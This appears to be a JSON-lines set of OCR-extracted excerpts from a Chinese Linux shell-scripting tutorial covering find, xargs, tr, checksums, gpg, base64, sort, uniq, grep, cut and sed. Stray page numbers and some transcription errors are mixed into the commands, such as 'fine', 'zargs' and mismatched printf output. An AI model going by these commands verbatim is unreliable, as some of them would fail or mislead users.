    {"text": "这次的任务也差不多， 我们需要将某位用户（比如root）所拥有的全部文件的所有权更改成另一位用户（比如 7 Web服务器默认的Apache用户www-data），那么可以用-user找出root拥有的所有文件， 然后用-exec更改所有权。 8 你必须以root用户的身份执行find命令才能够更改文件或目录的所有权。"},
    {"text": "9 find命令使用一对花括号{}代表文件名。 在下面的例子中，对于每一个匹配的文件，find 命令会将{}替换成相应的文件名并更改该文件的所有权。 如果find命令找到了root所拥有的两个 文件，那么它会将其所有者改为slynux： 10 # find . -type f -user root -exec chown slynux {} \\; 注意该命令结尾的\\;。"},
    {"text": "各种实现 14 58 第 2 章 命令之乐 方法如下： $ find . -type f -name '*.c' -exec cat {} \\;>all_c_files.txt $ find . -type f -name '*.c' -exec cat {} > all_c_files.txt \\; $ fine . -type f -name '*.c' -exec cat {} >all_c_files.txt + 我们使用 > 操作符将来自find的数据重定向到all_c_files.txt文件，没有使用>>（追加）的原 因是find命令的全部输出就只有一个数据流（stdin），而只有当多个数据流被追加到单个文件 中时才有必要使用>>。"},
    {"text": "下列命令可以将10天前的 .txt文件复制到OLD目录中： $ find . -type f -mtime +10 -name \"*.txt\" -exec cp {} OLD \\; find命令还可以采用类似的方法与其他命令结合使用。"},
    {"text": "把 多 个 命 令 写 到 一 个 shell 脚 本 中 （ 例 如 command.sh），然后在 -exec中使用这个脚本： -exec ./commands.sh {} \\; -exec可以同printf搭配使用来生成输出信息。"},
    {"text": "例如： $ find . -type f -name \"*.txt\" -exec printf \"Text file: %s\\n\" {} \\; Config file: /etc/openvpn/easy-rsa/openssl-1.0.0.cnf Config file: /etc/my.cnf 9. 让 find 跳过特定的目录 在find的执行过程中，跳过某些子目录能够提升性能。"},
    {"text": "例如，在版本控制系统（如Git）管 理的开发源代码树中查找特定文件时，文件系统的每个子目录里都会包含一个目录，该目录中保 存了和版本控制相关的信息。"},
    {"text": "下面的例子演示了如何使用-prune选项排 除某些符合条件的文件： $ find devel/source_path -name '.git' -prune -o -type f -print -name \".git\" –prune是命令中负责进行修剪的部分，它指明了.git目录应该被排除在外。"},
    {"text": "最简单的方法就是使用反引号执行 1 命令，然后将其输出作为命令行参数： $ gcc `find '*.c'` 2 这种方法在很多情况下都管用，但是如果要处理的文件过多，你会看到一条可怕的错误信息： Argument list too long。"},
    {"text": "下面的命令将在一组C语言源码文件中搜索字符 5 串main： ls *.c | xargs grep main 6 2.5.2 实战演练 zargs命令重新格式化stdin接收到的数据，再将其作为参数提供给指定命令。"},
    {"text": "8 xargs默认的echo命令可以用来将多行输入转换成单行输出： $ cat example.txt # 样例文件 9 1 2 3 4 5 6 7 8 9 10 11 12 $ cat example.txt | xargs 10 1 2 3 4 5 6 7 8 9 10 11 12  将单行输入转换成多行输出。"},
    {"text": "下面的命令将输入分割成多 行，每行 N 个元素： 12 $ cat example.txt | xargs -n 3 1 2 3 4 5 6 7 8 9 10 11 12 14 60 第 2 章 命令之乐 2.5.3 工作原理 xargs命令接受来自stdin的输入，将数据解析成单个元素，然后调用指定命令并将这些元 素作为该命令的参数。"},
    {"text": "-d选项可以为输入数据指定自定义的分隔符： $ echo \"splitXsplit2Xsplit3Xsplit4\" | xargs -d X Split1 split2 split3 split4 在上面的代码中，stdin中是一个包含了多个X字符的字符串。"},
    {"text": "结合-n选项，可以将输入分割成多行，每行包含两个单词： $ echo \"splitXsplitXsplitXsplit\" | xargs -d X -n 2 split split split split xargs命令可以同find命令很好地结合在一起。"},
    {"text": "如果文件系统的有些文件名中包含空格，find命令的 -print0选项可以使用0（NULL）来分隔查找到的元素，然后再用xargs对应的-0选项进行解 析。"},
    {"text": "其中使用了grep找出内容中不包含image的文件： $ find /smbMount -iname '*.docx' -print0 | xargs -0 grep -L image 2.5.4 补充内容 上面的例子展示了如何使用xargs组织数据。"},
    {"text": "1. 读取 stdin ，为命令传入格式化参数 下面是一个短小的脚本cecho，可以用来更好地理解xargs是如何提供命令行参数的： #!/bin/bash #文件名: cecho.sh echo $*'#' 当参数被传递给文件cecho.sh后，它会打印这些参数并以 #字符作为结尾。"},
    {"text": "./cecho.sh arg1 3 ./cecho.sh arg2 ./cecho.sh arg3  接下来，每次调用提供一到两个参数。 4 ./cecho.sh arg1 arg2 ./cecho.sh arg3  最后，在单次调用中提供所有参数。 5 ./cecho.sh arg1 arg2 arg3 先别急着往下看，试着运行一下上面的命令，然后仔细观察输出结果。"},
    {"text": "args.txt文件中包含一个参数列表： $ cat args.txt arg1 7 arg2 arg3 对于第一种形式，我们需要多次执行指定的命令，每次执行时传入一个参数。 xargs的-n 8 选项可以限制传入命令的参数个数： $ cat args.txt | xargs -n 1 ./cecho.sh arg1 # 9 arg2 # arg3 # 如果要将参数限制为2个，可以这样： 10 $ cat args.txt | xargs -n 2 ./cecho.sh arg1 arg2 # arg3 # 11 最后，为了在执行命令时一次性提供所有的参数，选择不使用-n选项： $ cat args.txt | xargs ./cecho.sh arg1 arg2 arg3 # 12 在上面的例子中，由xargs添加的参数都被放置在指定命令的尾部。"},
    {"text": "但我们可能需要在命令 末尾有一个固定的参数，并希望xargs能够替换居于中间位置的参数，就像这样： 14 ./cecho.sh -p arg1 -l 62 第 2 章 命令之乐 在命令执行过程中，arg1是唯一的可变内容，其余部分都保持不变。 args.txt中的参数是像 这样提供给命令的： ./cecho.sh -p arg1 -l ./cecho.sh -p arg2 -l ./cecho.sh -p arg3 -l xargs有一个选项-I，可以用于指定替换字符串，这个字符串会在xargs解析输入时被参 数替换掉。"},
    {"text": "来看看解 决方法： $ cat args.txt | xargs -I {} ./cecho.sh -p {} -l -p arg1 -l # -p arg2 -l # -p arg3 -l # -I {}指定了替换字符串。"},
    {"text": "下列命令会查找并删除所有的.txt文件： $ find . -type f -name \"*.txt\" -print0 | xargs -0 rm -f 3. 统计源代码目录中所有C程序文件的行数 大多数程序员在某一时刻都会统计自己的C程序文件的行数（Lines of Code，LOC）。"},
    {"text": "完成这 项任务的代码如下： $ find source_code_dir_path -type f -name \"*.c\" -print0 | xargs -0 wc –l 2.6 用 tr 进行转换 63 如果你想获得更多有关源代码的统计信息，一个叫作SLOCCount的实用工 1 具可以派上用场。"},
    {"text": "子shell利用while循环读取参数并执行命令，就像这样： 3 $ cat files.txt | ( while read arg; do cat $arg; done ) # 等同于 cat files.txt | xargs -I {} cat {} 4 在while循环中，可以将cat $arg替换成任意数量的命令，这样我们就可以对同一个参数 执行多条命令。"},
    {"text": "子shell操作符内部的多条命令在执行时就像一个整体，因此： 5 $ cmd0 | ( cmd1;cmd2;cmd3) | cmd4 如果cmd1是cd /，那么就会改变子shell工作目录，然而这种改变仅局限于该子shell内部。"},
    {"text": "在文件名之后是该文件中含有main的所有行： find . -name '*.c' | xargs -I ^ sh -c \"echo -ne '\\n ^: '; grep main ^\" 8 2.6 用 tr 进行转换 9 tr是Unix命令行专家工具箱中的一件万能工具。"},
    {"text": "tr可以对 来自标准输入的内容进行字符替换、字符删除以及重复字符压缩。 tr是translate（转换）的简写， 因为它可以将一组字符转换成另一组字符。"},
    {"text": "11 2.6.1 预备知识 tr只能通过stdin（标准输入）接收输入（无法通过命令行参数接收） 。 其调用格式如下： 12 tr [options] set1 set2 来自stdin的输入字符会按照位置从set1映射到set2（set1中的第一个字符映射到set2 中的第一个字符，以此类推），然后将输出写入stdout（标准输出）。"},
    {"text": "如果两个字符组的长度不相等，那么set2会不断复制其最后一个字符，直到长度与set1 相同。 如果set2的长度大于set1，那么在set2中超出set1长度的那部分字符则全部被忽略。"},
    {"text": "2.6.2 实战演练 要将输入中的字符由大写转换成小写，可以使用下面的命令： $ echo \"HELLO WHO IS THIS\" | tr 'A-Z' 'a-z' hello who is this 'A-Z'和'a-z'都是字符组。"},
    {"text": "下面来看一个 用tr进行数字加密和解密的例子： $ echo 12345 | tr '0-9' '9876543210' 87654 # 已加密 $ echo 87654 | tr '9876543210' '0-9' 12345 # 已解密 tr命令可以用来加密。"},
    {"text": "在ROT13算法中，字符会被移动13 个位置，因此文本加密和解密都使用同一个函数： $ echo \"tr came, tr saw, tr conquered.\" | tr 'a-zA-Z' 'n-za-mN-ZA-M' 输出如下： ge pnzr, ge fnj, ge pbadhrerq. 对加密后的密文再次使用同样的ROT13函数，我们可以采用： $ echo ge pnzr, ge fnj, ge pbadhrerq. | tr 'a-zA-Z' 'n-za-mN-ZA-M' 输出如下： tr came, tr saw, tr conquered. 2.6 用 tr 进行转换 65 tr还可以将制表符转换成单个空格： 1 $ tr '\\t' ' ' < file.txt 2 2.6.4 补充内容 我们已经学习了tr的一些基本转换，接下来看看tr还能帮我们实现的其他功能。"},
    {"text": "3 1. 用 tr 删除字符 tr有一个选项-d，可以通过指定需要被删除的字符集合，将出现在stdin中的特定字符清 除掉： 4 $ cat file.txt | tr -d '[set1]' # 只使用 set1 ，不使用 set2 5 例如： $ echo \"Hello 123 world 456\" | tr -d '0-9' Hello world 6 # 将 stdin 中的数字删除并打印删除后的结果 2. 字符组补集 7 我们可以利用选项-c来使用set1的补集。"},
    {"text": "下面的命令中，set2是可选的： tr -c [set1] [set2] 如果只给出了set1，那么tr会删除所有不在set1中的字符。 如果也给出了set2，tr会将不 8 在set1中的字符转换成set2中的字符。 如果使用了-c选项，set1和set2必须都给出。 如果-c 与-d选项同时出现，你只能使用set1，其他所有的字符都会被删除。"},
    {"text": "9 下面的例子会从输入文本中删除不在补集中的所有字符： $ echo hello 1 char 2 next 4 | tr -d -c '0-9 \\n' 124 10 接下来的例子会将不在set1中的字符替换成空格： $ echo hello 1 char 2 next 4 | tr -c '0-9' ' ' 11 1 2 4 3. 用 tr 压缩字符 12 tr命令能够完成很多文本处理任务。"},
    {"text": "基本实现 形式如下： tr -s '[ 需要被压缩的一组字符 ]' 14 66 第 2 章 命令之乐 如果你习惯在点号后面放置两个空格，你需要在不删除重复字母的情况下去掉多余的空格： $ echo \"GNU is not UNIX. Recursive right ?\" | tr -s ' ' GNU is not UNIX. Recursive right ? tr命令还可以用来删除多余的换行符： $ cat multi_blanks.txt | tr -s '\\n' line 1 line 2 line 3 line 4 上面的例子展示了如何使用tr删除多余的'\\n'字符。"},
    {"text": "接下来让我们用tr以一种巧妙的方式 将文件中的数字列表进行相加： $ cat sum.txt 1 2 3 4 5 $ cat sum.txt | echo $[ $(tr '\\n' '+' ) 0 ] 15 这招是如何起效的？"},
    {"text": "$[ operation ]执行算术运算，因此就形成了以下命令： echo $[ 1+2+3+4+5+0 ] 如果我们利用循环从文件中读取数字，然后再进行相加，那肯定得用几行代码。"},
    {"text": "如果有一个包含字母和数字的文件，我们想计算其中的数字之和，这需要更强的技巧性： $ cat test.txt first 1 second 2 third 3 利用tr的-d选项删除文件中的字母，然后将空格替换成+： $ cat test.txt | tr -d [a-z] | echo \"total: $[$(tr ' ' '+')]\" total: 6 2.7 校验和与核实 67 4. 字符类 1 tr可以将不同的字符类作为集合使用，所支持的字符类如下所示。"},
    {"text": "可以按照下面的方式选择所需的字符类： 6 tr [:class:] [:class:] 例如： 7 tr '[:lower:]' '[:upper:]' 2.7 校验和与核实 8 校验和（checksum）程序用来从文件中生成相对较小的唯一密钥。"},
    {"text": "修改文件可能是有意为之（添加新用户会改变密码文件），也可能 9 是无意而为（从CD-ROM中读取到了错误数据），还可能是恶意行为（插入病毒）。"},
    {"text": "因此，我们需要进行测试，确定所接受到的文件是否和原始文件一模一样。 11 通过比对下载文件和原始文件的校验和，就能够核实接收到的文件是否正确。"},
    {"text": "2.7.2 实战演练 使用下列命令计算md5sum： $ md5sum filename 68b329da9893e34099c7d8ad5cb9c940 filename 如上所示，md5sum是一个长度为32个字符的十六进制串。 我们可以将输出的校验和重定向到一个文件中，以备后用： $ md5sum filename > file_sum.md5 2.7.3 工作原理 md5sum校验和计算的方法如下： $ md5sum file1 file2 file3 .. 当使用多个文件时，输出中会在每行中包含单个文件的校验和： [checksum1] file1 [checksum1] file2 [checksum1] file3 可以按照下面的方法用生成的文件核实数据完整性： $ md5sum -c file_sum.md5 # 这个命令会输出校验和是否匹配的信息 如果需要用所有的.md5信息来检查所有的文件，可以这样： $ md5sum -c *.md5 SHA-1是另一种常用的校验和算法。"},
    {"text": "1 2 3 4 5 图 2-1 下面是文件的MD5校验和： 3f50877c05121f7fd8544bef2d722824 *ubuntu-16.10-desktop-amd64.iso 6 e9e9a6c6b3c8c265788f4e726af25994 *ubuntu-16.10-desktop-i386.iso 7d6de832aee348bacc894f0a2ab1170d *ubuntu-16.10-server-amd64.iso e532cfbc738876b353c7c9943d872606 *ubuntu-16.10-server-i386.iso 7 2.7.4 补充内容 对于多个文件，校验和同样可以发挥作用。"},
    {"text": "该命令的用法如下： $ md5deep -rl directory_path > directory.md5 # -r 使用递归遍历 11 # -l 使用相对路径。 默认情况下， md5deep 会输出文件的绝对路径 其中，-r选项允许md5deep递归遍历子目录。"},
    {"text": "12 或者也可以结合find来递归计算校验和： $ find directory_path -type f –print0 | xargs -0 md5sum >> directory.md5 14 70 第 2 章 命令之乐 用下面的命令进行核实： $ md5sum -c directory.md5  md5与SHA-1都是单向散列算法，均无法逆推出原始数据。"},
    {"text": "两者通常用于为特定数据生成 唯一的密钥： $ md5sum file 8503063d5488c3080d4800ff50850dc9 file $ sha1sum file 1ba02b66e2e557fede8f61b7df282cd0a27b816b file 这种类型的散列算法多用于存储密码。"},
    {"text": "该文件中典型的一行内容类似于下面这样： test:$6$fG4eWdUi$ohTKOlEUzNk77.4S8MrYe07NTRV4M3LrJnZP9p.qc1bR5c. EcOruzPXfEu1uloBFUa18ENRH7F70zhodas3cR.:14790:0:99999:7::: 该行中的$6$fG4eWdUi$ohTKOlEUzNk77.4S8MrYe07NTRV4M3LrJnZP9p.qc1bR5c. EcOruzPXfEu1uloBFUa18ENRH7F70zhodas3cR是密码对应的散列值。"},
    {"text": "在这种情况下，我们必须生 成shadow密码字符串，向shadow文件中写入类似于上面的文本行。 可以使用openssl来 生成shadow密码。 shadow密码通常都是加盐密码（salted password）。"},
    {"text": "$ openssl passwd -1 -salt SALT_STRING PASSWORD $1$SALT_STRING$323VkWkSLHuhbt1zkSsUG. 将SALT_STRING替换为随机字符串并将PASSWORD替换成你想要使用的密码。"},
    {"text": "该命令从stdin接受输入，要求用户创建口令，然后将加密数据输出到 stdout： 4 $ crypt <input_file >output_file Enter passphrase: 5 我们在命令行上提供口令： $ crypt PASSPHRASE <input_file >encrypted_file 6 如果需要解密文件，可以使用： $ crypt PASSPHRASE -d <encrypted_file >output_file  gpg（GNU privacy guard，GNU隐私保护）是一种应用广泛的工具，它使用加密技术来保 7 护文件，以确保数据在送达目的地之前无法被读取。"},
    {"text": "用gpg加密文件： 9 $ gpg -c filename 命令会采用交互方式读取口令并生成filename.gpg。 使用以下命令解密gpg文件： 10 $ gpg filename.gpg 上述命令读取口令并解密文件。"},
    {"text": "base64命令能够编码/解码Base64字符串。 要将文件编码为Base64格式，可以 14 使用： 72 第 2 章 命令之乐 $ base64 filename > outputfile 或者 $ cat file | base64 > outputfile base64命令可以从stdin中读取。 解码Base64数据： $ base64 -d file > outputfile 或者 $ cat base64_file | base64 -d > outputfile 2.9 行排序 对文本文件进行排序是一项常见的任务。"},
    {"text": "2.9.2 实战演练 (1) 可以按照下面的方式排序一组文件（例如file1.txt和file2.txt）： $ sort file1.txt file2.txt > sorted.txt 或是 $ sort file1.txt file2.txt -o sorted.txt (2) 按照数字顺序排序： $ sort -n file.txt (3) 按照逆序排序： $ sort -r file.txt (4) 按照月份排序（依照一月、二月、三月……）： $ sort -M months.txt 2.9 行排序 73 (5) 合并两个已排序过的文件： 1 $ sort -m sorted1 sorted2 (6) 找出已排序文件中不重复的行： 2 $ sort file1.txt file2.txt | uniq (7) 检查文件是否已经排序过： 3 #!/bin/bash #功能描述：排序 sort -C filename ; if [ $? -eq 0 ]; then 4 echo Sorted; else echo Unsorted; fi 5 将filename替换成你需要检查的文件名，然后运行该脚本。 2.9.3 工作原理 6 sort命令包含大量的选项，能够对文件数据进行各种排序。"},
    {"text": "要检查文件是否排序过，可以利用以下事实：如果文件已经排序，sort会返回为0的退出码 8 （$?），否则返回非0。 if sort -c fileToCheck ; then echo sorted ; else echo unsorted ; fi 9 2.9.4 补充内容 我们已经介绍了sort命令的基本用法。"},
    {"text": "10 1. 依据键或列排序 如果输入数据的格式如下，我们可以按列排序： 11 $ cat data.txt 1 mac 2000 2 winxp 4000 12 3 bsd 1000 4 linux 1000 有很多方法可以对这段文本排序。"},
    {"text": "例如： # 依据第 1 列，以逆序形式排序 $ sort -nrk 1 data.txt 4 linux 1000 3 bsd 1000 2 winxp 4000 1 mac 2000 # -nr 表明按照数字顺序，采用逆序形式排序 # 依据第 2 列进行排序 $ sort -k 2 data.txt 3 bsd 1000 4 linux 1000 1 mac 2000 2 winxp 4000 一定要留意用于按数字顺序进行排序的选项-n。"},
    {"text": "如果需要将特定范围内的 一组字符（例如，第2列中的第4~5个字符）作为键，应该使用由点号分隔的两个整数来定义一个 字符位置，然后将该范围内的第一个字符和最后一个字符用逗号连接起来： $ cat data.txt 1 alpha 300 2 beta 200 3 gamma 100 $ sort -bk 2.3,2.4 data.txt ; # 按照 m 、 p 、 t 的顺序排序 3 gamma 100 1 alpha 300 2 beta 200 把作为排序依据的字符写成数值键。"},
    {"text": "用第一个字符作为键： $ sort -nk 1,1 data.txt 为了使sort的输出与以\\0作为终止符的xargs命令相兼容，采用下面的命令： $ sort -z data.txt | xargs -0 # 终止符 \\0 用来确保安全地使用 xargs 命令 2.9 行排序 75 有时文本中可能会包含一些像空格之类的多余字符。"},
    {"text": "如果需要忽略标点符号并以字典序排 1 序，可以使用： $ sort -bd unsorted.txt 2 其中，选项-b用于忽略文件中的前导空白行，选项-d用于指明以字典序进行排序。"},
    {"text": "你可以按照下面的方式生成唯一的行（打印输入中的所有行，但是其中重复的行只打印 一次）： 5 $ cat sorted.txt bash foss 6 hack hack $ uniq sorted.txt bash 7 foss hack 或是 8 $ sort unsorted.txt | uniq 只显示唯一的行（在输入文件中没有重复出现过的行）： 9 $ uniq -u sorted.txt bash foss 10 或是 $ sort unsorted.txt | uniq -u 11 要统计各行在文件中出现的次数，使用下面的命令： $ sort unsorted.txt | uniq -c 1 bash 12 1 foss 2 hack 找出文件中重复的行： 14 76 第 2 章 命令之乐 $ sort unsorted.txt | uniq -d hack 我们可以结合-s和-w选项来指定键：  -s 指定跳过前 N 个字符；"},
    {"text": "这个对比键可以作为uniq操作时的索引： $ cat data.txt u:01:gnu d:04:linux u:01:bash u:01:hack 为了只测试指定的字符（忽略前两个字符，使用接下来的两个字符），我们使用-s 2跳过前 两个字符，使用-w 2选项指定后续的两个字符： $ sort data.txt | uniq -s 2 -w 2 d:04:linux u:01:bash 我们将命令输出作为xargs命令的输入时，最好为输出的各行添加一个0值字节（zero-byte） 终止符。"},
    {"text": "A[^0-9] 号内可以是一个字符组或字符范围 匹配A以及随后除数字外的任意单个字符 12 3. 数量修饰符 一个标识符可以出现一次、多次或是不出现。"},
    {"text": "130 第 4 章 让文本飞 表 4-3 正则表达式 描 述 示 例 ? 匹配之前的项1次或0次 colou?r能够匹配color或colour，但是不能匹配colouur + 匹配之前的项1次或多次 Rollno-9+能够匹配Rollno-99和Rollno-9，但是不能匹配Rollno- * 匹配之前的项0次或多次 co*l能够匹配cl、col和coool {n} 匹配之前的项 n 次 [0-9]{3}能够匹配任意的三位数，[0-9]{3}可以扩展为[0-9][0-9] [0-9] {n,} 之前的项至少需要匹配 n 次 [0-9]{2,} 能够匹配任意一个两位或更多位的数字 {n,m} 之前的项所必须匹配的最小 [0-9]{2,5}能够匹配两位数到五位数之间的任意一个数字 次数和最大次数 4. 其他 还有其他一些特殊字符可以调整正则表达式的匹配方式，见表4-4。"},
    {"text": "表 4-4 正则表达式 描 述 示 例 () 将括号中的内容视为一个整体 ma(tri)?x 能够匹配max或matrix | 指定了一种选择结构，可以匹配 | 两边的 Oct (1st | 2nd)能够匹配Oct 1st或Oct 2nd 任意一项 \\ 转义字符可以转义之前介绍的特殊字符 a\\.b能够匹配a.b，但不能匹配ajb。"},
    {"text": "要想匹配句尾或是逗号前的单 词，需要将正则表达式改写为： ( +[a-zA-Z]+[?,.]? +) 4.2 使用正则表达式 131 [?,.]?表示仅需要匹配问号、逗号或点号中的一个。"},
    {"text": "{1,3}表示至少一位数字，至多三位数字： 2 [0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3} 或者也可以使用[[:digit:]]表示数字： 3 [[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3} 我们知道IP地址是由点号分隔的4个整数（每一个整数的取值范围从0到255），例如 4 192.168.0.2。"},
    {"text": "图 4-1 4.3 使用 grep 在文件中搜索文本 如果你忘记把钥匙放在了哪里，就得自己去找； 如果你忘记了文件中的内容，grep命令可 以帮助你查找。"},
    {"text": "(1) 在stdin中搜索匹配特定模式的文本行： $ echo -e \"this is a word\\nnext line\" | grep word this is a word (2) 在文件中搜索匹配特定模式的文本行： $ grep pattern filename this is the line containing pattern 或者 $ grep \"pattern\" filename this is the line containing pattern 4.3 使用 grep 在文件中搜索文本 133 (3) 在多个文件中搜索匹配特定模式的文本行： 1 $ grep \"match_text\" file1 file2 file3 ... (4) 选项--color可以在输出行中着重标记出匹配到的模式。"},
    {"text": "尽管该选项在命令行中的放置 2 位置没有强制要求，不过惯常作为第一个选项出现： $ grep --color=auto word filename this is the line containing word 3 (5) grep命令默认使用基础正则表达式。"},
    {"text": "也可以使用默认启用扩展正则表达式的egrep命令： 4 $ grep -E \"[a-z]+\" filename 或者 5 $ egrep \"[a-z]+\" filename (6) 选项-o可以只输出匹配到的文本： $ echo this is a line. | egrep -o \"[a-z]+\\.\" 6 line (7) 选项-v可以打印出不匹配match_pattern的所有行： 7 $ grep -v match_pattern file 选项-v能够反转（invert）匹配结果。 8 (8) 选项-c能够统计出匹配模式的文本行数： $ grep -c \"text\" filename 10 9 需要注意的是-c只是统计匹配行的数量，并不是匹配的次数。 例如： $ echo -e \"1 2 3 4\\nhello\\n5 6\" | egrep -c \"[0-9]\" 2 10 尽管有6个匹配项，但egrep命令只输出2，这是因为只有两个匹配行。"},
    {"text": "11 (9) 要统计文件中匹配项的数量，可以使用下面的技巧： $ echo -e \"1 2 3 4\\nhello\\n5 6\" | egrep -o \"[0-9]\" | wc -l 6 12 (10) 选项-n可以打印出匹配字符串所在行的行号： $ cat sample1.txt 14 gnu is not unix 134 第 4 章 让文本飞 linux is fun bash is art $ cat sample2.txt planetlinux $ grep linux -n sample1.txt 2:linux is fun 或者 $ cat sample1.txt | grep linux -n 如果涉及多个文件，该选项也会随输出结果打印出文件名： $ grep linux -n sample1.txt sample2.txt sample1.txt:2:linux is fun sample2.txt:2:planetlinux (11) 选项-b可以打印出匹配出现在行中的偏移。 配合选项-o可以打印出匹配所在的字符或 字节偏移： $ echo gnu is not unix | grep -b -o \"not\" 7:not 字符在行中的偏移是从0开始计数，不是1。 (12) 选项-l可以列出匹配模式所在的文件： $ grep -l linux sample1.txt sample2.txt sample1.txt sample2.txt 和-l效果相反的选项是-L，它会返回一个不匹配的文件列表。"},
    {"text": "例如： $ cd src_dir $ grep \"test_function()\" . -R -n ./miscutils/test.c:16:test_function(); 4.3 使用 grep 在文件中搜索文本 135 1 grep的选项-R和-r功能一样。"},
    {"text": "它等价于下列命令： $ find . -type f | xargs grep \"test_function()\" 3 2. 忽略模式中的大小写 选项-i可以在匹配模式时不考虑字符的大小写： $ echo hello world | grep -i \"HELLO\" 4 hello 3. 使用 grep 匹配多个模式 5 选项-e可以指定多个匹配模式： $ grep -e \"pattern1\" -e \"pattern2\" 6 上述命令会打印出匹配任意一种模式的行，每个匹配对应一行输出。"},
    {"text": "选项-f可以读取文件并使用其中的模式（一个模式一行）： $ grep -f pattern_filesource_filename 8 例如： $ cat pat_file 9 hello cool $ echo hello this is cool | grep -f pat_file hello this is cool 10 4. 在 grep 搜索中指定或排除文件 grep可以在搜索过程中使用通配符指定（include）或排除（exclude）某些文件。"},
    {"text": "11 使用--include选项在目录中递归搜索所有的 .c和 .cpp文件： $ grep \"main()\" . -r --include *.{c,cpp} 12 注意，some{string1,string2,string3}会被扩展成somestring1 somestring2 somestring3。"},
    {"text": "14 136 第 4 章 让文本飞 使用选项--exclude在搜索过程中排除所有的README文件： $ grep \"main()\" . -r --exclude \"README\" 选项--exclude-dir可以排除目录： $ grep main . -r -exclude-dir CVS 如果需要从文件中读取排除文件列表，使用--exclude-from FILE。"},
    {"text": "因为一些文件名中会包含空格字符，一旦它被误解为终结符， 那么单个文件名就会被视为两个（例如，New file.txt被解析成New和file.txt两个文件名）。"},
    {"text": "xargs的-0选项会使用0值字节作为输入的分 隔符： $ grep \"test\" file* -lZ | xargs -0 rm 6. grep 的静默输出 有时候，我们并不打算查看匹配的字符串，而只是想知道是否能够成功匹配。"},
    {"text": "下面这个脚本利用grep的静默模式来测试文件中是否有匹配文本： #!/bin/bash # 文件名: silent_grep.sh # 用途: 测试文件是否包含特定的文本内容 if [ $# -ne 2 ]; then echo \"Usage: $0 match_text filename\" exit 1 fi 4.3 使用 grep 在文件中搜索文本 137 match_text=$1 1 filename=$2 grep -q \"$match_text\" $filename if [ $? -eq 0 ]; then echo \"The text exists in the file\" 2 else echo \"Text does not exist in the file\" fi 3 这个silent_grep.sh脚本接受两个命令行参数：一个是需要匹配的单词（Student），另一个是文 件名（student_data.txt）： $ ./silent_grep.sh Student student_data.txt 4 The text exists in the file 7. 打印出匹配文本之前或之后的行 5 基于上下文的打印是grep的一个挺不错的特性。"},
    {"text": "6 选项-A可以打印匹配结果之后的行： $ seq 10 | grep 5 -A 3 5 6 7 7 8 选项-B可以打印匹配结果之前的行： 8 $ seq 10 | grep 5 -B 3 2 3 9 4 5 选项-A和-B可以结合使用，或者也可以使用选项-C，它可以分别打印出匹配结果之前及之 10 后的 n 行： $ seq 10 | grep 5 -C 3 2 11 3 4 5 6 7 12 8 如果有多个匹配，那么使用--作为各部分之间的分隔： 14 138 第 4 章 让文本飞 $ echo -e \"a\\nb\\nc\\na\\nb\\nc\" | grep a -A 1 a b -- a b 4.4 使用 cut 按列切分文件 cut命令可以按列，而不是按行来切分文件。"},
    {"text": "下面的例子演示了如何从使用制表符作为分隔符的文 件中提取列： $ cat student_data.txt No Name Mark Percent 1 Sarath 45 90 2 Alex 49 98 3 Anu 45 90 $ cut -f1 student_data.txt No 1 2 3 (3) 要想提取多个字段，就得给出由逗号分隔的多个字段编号： 4.4 使用 cut 按列切分文件 139 $ cut -f2,4 student_data.txt 1 Name Percent Sarath 90 Alex 98 Anu 90 2 (4) 我们也可以用 --complement选项显示出没有被-f指定的那些字段。 下面的命令会打印 出除第3列之外的所有列： $ cut -f3 --complement student_data.txt 3 No Name Percent 1 Sarath 90 2 Alex 98 3 Anu 90 4 (5) 选项-d能够设置分隔符。 下面的命令展示了如何使用cut处理由分号分隔的字段： $ cat delimited_data.txt 5 No;Name;Mark;Percent 1;Sarath;45;90 2;Alex;49;98 3;Anu;45;90 6 $ cut -f2 -d\";\" delimited_data.txt Name Sarath Alex 7 Anu 4.4.2 补充内容 8 cut命令还有其他一些选项可以指定要显示的列。"},
    {"text": "11 表 4-5 N- 从第 N 个字节、字符或字段开始到行尾 N-M 从第 N 个字节、字符或字段开始到第 M 个（包括第 M 个在内）字节、字符或字段 12 -M 从第1个字节、字符或字段开始到第 M 个（包括第 M 个在内）字节、字符或字段 —————————— 14 ① 这些空格是作为填充之用，为了保证列的宽度相同。"},
    {"text": "140 第 4 章 让文本飞 我们使用上面介绍的记法，结合下列选项将字段指定为某个范围内的字节、字符或字段：  -b 表示字节  -c 表示字符  -f 用于定义字段 例如： $ cat range_fields.txt abcdefghijklmnopqrstuvwxyz abcdefghijklmnopqrstuvwxyz abcdefghijklmnopqrstuvwxyz abcdefghijklmnopqrstuvwxy 你可以打印第2个到第5个字符： $ cut -c2-5 range_fields.txt bcde bcde bcde bcde 打印前2个字符： $ cut -c -2 range_fields.txt ab ab ab ab 若要用字节作为计数单位，可以将-c替换成-b。"},
    {"text": "在显示多组数据时，该选项尤为有用： $ cut range_fields.txt -c1-3,6-9 --output-delimiter \",\" abc,fghi abc,fghi abc,fghi abc,fghi 4.5 使用 sed 替换文本 sed是stream editor（流编辑器）的缩写。"},
    {"text": "模式可以是简单的字符串或正则表达式： 4.5 使用 sed 替换文本 141 $ sed 's/pattern/replace_string/' file 1 sed也可以从stdin中读取输入： $ cat file | sed 's/pattern/replace_string/' 2 如果你用的是vi编辑器，你会发现它用于替换文本的命令和sed的非常相似。"},
    {"text": "3 $ cat /etc/passwd | cut -d : -f1,3 | sed 's/:/ - UID: /' root - UID: 0 bin - UID: 1 ... 4 (1) 选项-i会使得sed用修改后的数据替换原始文件： $ sed -i 's/text/replace/' file 5 (2) 之前的例子只替换了每行中模式首次匹配的内容。"},
    {"text": "g标记可以使sed执行全局替换： $ sed 's/pattern/replace_string/g' file 6 /#g标记可以使sed替换第 N 次出现的匹配： $ echo thisthisthisthis | sed 's/this/THIS/2g' thisTHISTHISTHIS 7 $ echo thisthisthisthis | sed 's/this/THIS/3g' thisthisTHISTHIS $ echo thisthisthisthis | sed 's/this/THIS/4g' 8 thisthisthisTHIS sed命令会将s之后的字符视为命令分隔符。 这允许我们更改默认的分隔符/： 9 sed 's:text:replace:g' sed 's|text|replace|g' 如果作为分隔符的字符出现在模式中，必须使用\\对其进行转义： 10 sed 's|te\\|xt|replace|g' \\|是出现在模式中被转义的分隔符。"},
